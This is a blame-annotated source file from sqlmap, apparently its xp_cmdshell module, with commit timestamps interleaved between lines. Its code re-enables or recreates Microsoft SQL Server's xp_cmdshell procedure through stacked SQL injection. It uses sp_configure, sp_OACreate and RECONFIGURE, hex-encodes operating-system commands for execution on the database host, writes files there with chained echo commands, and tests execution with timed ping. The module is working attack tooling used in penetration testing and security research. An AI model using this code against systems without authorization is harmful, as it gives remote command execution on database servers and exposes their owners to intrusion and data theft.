2009-04-22 15:48:07 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2012-01-11 18:59:46 +04:00
|
|
|
Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
|
2010-10-15 03:18:29 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
2009-04-22 15:48:07 +04:00
|
|
|
"""
|
|
|
|
|
2012-07-02 18:02:00 +04:00
|
|
|
from lib.core.agent import agent
|
2011-01-28 19:36:09 +03:00
|
|
|
from lib.core.common import Backend
|
2012-04-03 13:18:30 +04:00
|
|
|
from lib.core.common import getSPQLSnippet
|
2012-02-25 14:53:38 +04:00
|
|
|
from lib.core.common import hashDBWrite
|
2012-07-06 14:24:55 +04:00
|
|
|
from lib.core.common import isListLike
|
2012-03-13 14:36:49 +04:00
|
|
|
from lib.core.common import isNoneValue
|
|
|
|
from lib.core.common import pushValue
|
|
|
|
from lib.core.common import popValue
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.common import randomStr
|
|
|
|
from lib.core.common import readInput
|
2010-12-08 17:26:40 +03:00
|
|
|
from lib.core.common import wasLastRequestDelayed
|
2012-07-02 02:41:10 +04:00
|
|
|
from lib.core.convert import hexencode
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.data import conf
|
|
|
|
from lib.core.data import kb
|
|
|
|
from lib.core.data import logger
|
2012-02-15 18:05:50 +04:00
|
|
|
from lib.core.enums import DBMS
|
2012-02-25 14:53:38 +04:00
|
|
|
from lib.core.enums import HASHDB_KEYS
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.core.exception import sqlmapUnsupportedFeatureException
|
2012-03-13 14:36:49 +04:00
|
|
|
from lib.core.threads import getCurrentThreadData
|
2010-11-02 18:31:51 +03:00
|
|
|
from lib.core.unescaper import unescaper
|
2009-04-22 15:48:07 +04:00
|
|
|
from lib.request import inject
|
|
|
|
|
|
|
|
class xp_cmdshell:
|
|
|
|
"""
|
|
|
|
This class defines methods to deal with Microsoft SQL Server
|
|
|
|
xp_cmdshell extended procedure for plugins.
|
|
|
|
"""
|
|
|
|
|
|
|
|
def __init__(self):
|
|
|
|
self.xpCmdshellStr = "master..xp_cmdshell"
|
|
|
|
|
|
|
|
def __xpCmdshellCreate(self):
|
|
|
|
cmd = ""
|
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.isVersionWithin(("2005", "2008")):
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug("activating sp_OACreate")
|
|
|
|
|
2012-07-02 18:28:19 +04:00
|
|
|
cmd = getSPQLSnippet(DBMS.MSSQL, "activate_sp_oacreate")
|
2012-07-02 18:02:00 +04:00
|
|
|
inject.goStacked(agent.runAsDBMSUser(cmd))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
self.__randStr = randomStr(lowercase=True)
|
2012-07-02 18:28:19 +04:00
|
|
|
self.__xpCmdshellNew = "xp_%s" % randomStr(lowercase=True)
|
|
|
|
self.xpCmdshellStr = "master..%s" % self.__xpCmdshellNew
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-07-02 18:28:19 +04:00
|
|
|
cmd = getSPQLSnippet(DBMS.MSSQL, "create_new_xp_cmdshell", RANDSTR=self.__randStr, XP_CMDSHELL_NEW=self.__xpCmdshellNew)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.isVersionWithin(("2005", "2008")):
|
2012-07-02 18:02:00 +04:00
|
|
|
cmd += ";RECONFIGURE WITH OVERRIDE"
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-07-02 18:02:00 +04:00
|
|
|
inject.goStacked(agent.runAsDBMSUser(cmd))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
def __xpCmdshellConfigure2005(self, mode):
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "configuring xp_cmdshell using sp_configure "
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg += "stored procedure"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2012-04-03 13:18:30 +04:00
|
|
|
cmd = getSPQLSnippet(DBMS.MSSQL, "configure_xp_cmdshell", ENABLE=str(mode))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
return cmd
|
|
|
|
|
|
|
|
def __xpCmdshellConfigure2000(self, mode):
|
2011-04-30 17:20:05 +04:00
|
|
|
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg += "stored procedure"
|
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
if mode == 1:
|
2012-07-02 15:50:26 +04:00
|
|
|
cmd = getSPQLSnippet(DBMS.MSSQL, "enable_xp_cmdshell_2000", ENABLE=str(mode))
|
2010-01-02 05:02:12 +03:00
|
|
|
else:
|
2012-07-02 15:50:26 +04:00
|
|
|
cmd = getSPQLSnippet(DBMS.MSSQL, "disable_xp_cmdshell_2000", ENABLE=str(mode))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
return cmd
|
|
|
|
|
|
|
|
def __xpCmdshellConfigure(self, mode):
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.isVersionWithin(("2005", "2008")):
|
2009-04-22 15:48:07 +04:00
|
|
|
cmd = self.__xpCmdshellConfigure2005(mode)
|
|
|
|
else:
|
|
|
|
cmd = self.__xpCmdshellConfigure2000(mode)
|
|
|
|
|
2012-07-02 18:02:00 +04:00
|
|
|
inject.goStacked(agent.runAsDBMSUser(cmd))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
def __xpCmdshellCheck(self):
|
2012-07-02 02:31:45 +04:00
|
|
|
cmd = "ping -n %d 127.0.0.1" % (conf.timeSec * 2)
|
|
|
|
self.xpCmdshellExecCmd(cmd)
|
2010-12-08 17:26:40 +03:00
|
|
|
|
2011-02-07 15:32:08 +03:00
|
|
|
return wasLastRequestDelayed()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-03-13 14:36:49 +04:00
|
|
|
def __xpCmdshellTest(self):
|
|
|
|
threadData = getCurrentThreadData()
|
|
|
|
pushValue(threadData.disableStdOut)
|
|
|
|
threadData.disableStdOut = True
|
|
|
|
|
2012-03-15 02:41:53 +04:00
|
|
|
logger.info("testing if xp_cmdshell extended procedure is usable")
|
2012-03-13 14:36:49 +04:00
|
|
|
output = self.evalCmd("echo 1")
|
2012-03-15 02:41:53 +04:00
|
|
|
|
2012-03-13 14:36:49 +04:00
|
|
|
if isNoneValue(output):
|
2012-03-15 02:41:53 +04:00
|
|
|
errMsg = "it seems that the temporary directory ('%s') used for " % self.getRemoteTempPath()
|
|
|
|
errMsg += "storing console output within the back-end file system "
|
|
|
|
errMsg += "does not have writing permissions for the DBMS process. "
|
|
|
|
errMsg += "You are advised to manually adjust it with option "
|
|
|
|
errMsg += "--tmp-path switch or you will not be able to retrieve "
|
|
|
|
errMsg += "the commands output"
|
2012-03-13 14:36:49 +04:00
|
|
|
logger.error(errMsg)
|
2012-03-15 02:41:53 +04:00
|
|
|
else:
|
|
|
|
logger.info("xp_cmdshell extended procedure is usable")
|
2012-03-13 14:36:49 +04:00
|
|
|
|
|
|
|
threadData.disableStdOut = popValue()
|
|
|
|
|
2012-04-25 11:40:42 +04:00
|
|
|
def xpCmdshellWriteFile(self, fileContent, tmpPath, randDestFile):
|
|
|
|
echoedLines = []
|
|
|
|
cmd = ""
|
|
|
|
charCounter = 0
|
|
|
|
maxLen = 512
|
|
|
|
|
|
|
|
if isinstance(fileContent, (set, list, tuple)):
|
|
|
|
lines = fileContent
|
|
|
|
else:
|
|
|
|
lines = fileContent.split("\n")
|
|
|
|
|
|
|
|
for line in lines:
|
|
|
|
echoedLine = "echo %s " % line
|
|
|
|
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
|
|
|
|
echoedLines.append(echoedLine)
|
|
|
|
|
|
|
|
for echoedLine in echoedLines:
|
|
|
|
cmd += "%s & " % echoedLine
|
|
|
|
charCounter += len(echoedLine)
|
|
|
|
|
|
|
|
if charCounter >= maxLen:
|
|
|
|
self.xpCmdshellExecCmd(cmd)
|
|
|
|
|
|
|
|
cmd = ""
|
|
|
|
charCounter = 0
|
|
|
|
|
|
|
|
if cmd:
|
|
|
|
self.xpCmdshellExecCmd(cmd)
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def xpCmdshellForgeCmd(self, cmd):
|
2010-11-02 18:31:51 +03:00
|
|
|
self.__randStr = randomStr(lowercase=True)
|
2012-07-02 02:41:10 +04:00
|
|
|
self.__cmd = "0x%s" % hexencode(cmd)
|
|
|
|
self.__forgedCmd = "DECLARE @%s VARCHAR(8000);" % self.__randStr
|
|
|
|
self.__forgedCmd += "SET @%s=%s;" % (self.__randStr, self.__cmd)
|
2010-11-02 18:31:51 +03:00
|
|
|
self.__forgedCmd += "EXEC %s @%s" % (self.xpCmdshellStr, self.__randStr)
|
2010-01-29 03:09:05 +03:00
|
|
|
|
2012-07-02 18:02:00 +04:00
|
|
|
return agent.runAsDBMSUser(self.__forgedCmd)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-10-28 04:19:40 +04:00
|
|
|
def xpCmdshellExecCmd(self, cmd, silent=False):
|
|
|
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
2012-02-17 19:54:49 +04:00
|
|
|
return inject.goStacked(cmd, silent)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
|
2012-02-17 19:54:49 +04:00
|
|
|
if conf.direct:
|
|
|
|
output = self.xpCmdshellExecCmd(cmd)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-02-17 19:54:49 +04:00
|
|
|
if output and isinstance(output, (list, tuple)):
|
|
|
|
new_output = ""
|
|
|
|
|
|
|
|
for line in output:
|
|
|
|
if line == "NULL":
|
|
|
|
new_output += "\n"
|
|
|
|
else:
|
|
|
|
new_output += "%s\n" % line.strip("\r")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-02-17 19:54:49 +04:00
|
|
|
output = new_output
|
|
|
|
else:
|
2012-07-06 14:24:55 +04:00
|
|
|
inject.goStacked("INSERT INTO %s EXEC %s '%s'" % (self.cmdTblName, self.xpCmdshellStr, cmd))
|
|
|
|
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
2012-02-17 19:54:49 +04:00
|
|
|
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
2012-07-06 14:24:55 +04:00
|
|
|
if output and isListLike(output):
|
2012-07-07 12:26:13 +04:00
|
|
|
output = output[1:]
|
2012-02-17 19:54:49 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
return output
|
|
|
|
|
2010-01-04 18:02:56 +03:00
|
|
|
def xpCmdshellInit(self):
|
2012-02-25 14:53:38 +04:00
|
|
|
if not kb.xpCmdshellAvailable:
|
2011-04-30 17:20:05 +04:00
|
|
|
infoMsg = "checking if xp_cmdshell extended procedure is "
|
2011-04-21 18:25:04 +04:00
|
|
|
infoMsg += "available, please wait.."
|
|
|
|
logger.info(infoMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
result = self.__xpCmdshellCheck()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
if result:
|
|
|
|
logger.info("xp_cmdshell extended procedure is available")
|
|
|
|
kb.xpCmdshellAvailable = True
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
else:
|
2011-04-30 17:20:05 +04:00
|
|
|
message = "xp_cmdshell extended procedure does not seem to "
|
2011-04-21 18:25:04 +04:00
|
|
|
message += "be available. Do you want sqlmap to try to "
|
|
|
|
message += "re-enable it? [Y/n] "
|
2011-04-30 17:20:05 +04:00
|
|
|
choice = readInput(message, default="Y")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
if not choice or choice in ("y", "Y"):
|
|
|
|
self.__xpCmdshellConfigure(1)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
if self.__xpCmdshellCheck():
|
|
|
|
logger.info("xp_cmdshell re-enabled successfully")
|
|
|
|
kb.xpCmdshellAvailable = True
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
else:
|
|
|
|
logger.warn("xp_cmdshell re-enabling failed")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
logger.info("creating xp_cmdshell with sp_OACreate")
|
|
|
|
self.__xpCmdshellConfigure(0)
|
|
|
|
self.__xpCmdshellCreate()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
if self.__xpCmdshellCheck():
|
|
|
|
logger.info("xp_cmdshell created successfully")
|
|
|
|
kb.xpCmdshellAvailable = True
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
else:
|
2011-04-30 17:20:05 +04:00
|
|
|
warnMsg = "xp_cmdshell creation failed, probably "
|
2011-04-21 18:25:04 +04:00
|
|
|
warnMsg += "because sp_OACreate is disabled"
|
|
|
|
logger.warn(warnMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-02-26 02:54:32 +04:00
|
|
|
hashDBWrite(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE, kb.xpCmdshellAvailable)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
if not kb.xpCmdshellAvailable:
|
|
|
|
errMsg = "unable to proceed without xp_cmdshell"
|
|
|
|
raise sqlmapUnsupportedFeatureException, errMsg
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-21 18:25:04 +04:00
|
|
|
debugMsg = "creating a support table to write commands standard "
|
2009-04-22 15:48:07 +04:00
|
|
|
debugMsg += "output to"
|
2010-01-02 05:02:12 +03:00
|
|
|
logger.debug(debugMsg)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-20 16:59:23 +04:00
|
|
|
# TEXT can't be used here because in error technique you get:
|
|
|
|
# "The text, ntext, and image data types cannot be compared or sorted"
|
|
|
|
self.createSupportTbl(self.cmdTblName, self.tblField, "NVARCHAR(4000)")
|
2012-03-13 14:36:49 +04:00
|
|
|
|
|
|
|
self.__xpCmdshellTest()
|